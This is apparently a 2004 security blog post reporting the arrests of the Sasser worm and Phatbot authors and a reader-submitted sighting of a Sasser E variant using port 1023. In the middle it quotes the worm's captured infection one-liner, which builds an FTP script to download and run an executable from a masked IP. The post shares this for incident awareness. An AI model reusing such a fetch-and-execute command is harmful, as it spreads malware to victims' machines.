Author of Sasser worm and Phatbot caught
Several news have reported that the author of Sasser worm has been caught in Germany. Check this out at:
In a Microsoft Press Release, Microsoft says that they will hold a teleconference about this arrest:
Another piece of news also reported that Phatbot creator has been hunted down too:
New Sasser Worm Variant
We received a submission from Duda that he has detected a possible new Sasser worm variant infection via port 1023 instead of the usual port 5554. If you have seen this, please let us know.
echo off&echo open xx.xx.xx.xx 1023>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get 17325_upload.exe>>cmd.ftp
&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&17325_upload.exe&echo off&del cmd.ftp&echo on
According to Mcafee writeup, this is the Sasser E variant and it matches the ports used:
* It creates a remote shell on TCP port 1022 rather than 9995 or 9996
* It uses FTP on TCP port 1023 instead of 5554
SANS Security Newsletters and Digests
Too much news to catch up? SANS provides weekly security newsletters and digests. This allows you to update yourself especially if you are not able to track security news everyday. Over the weekend, do take a look and sign up for the free newsletters and digests.
May 10th 2004
1 decade ago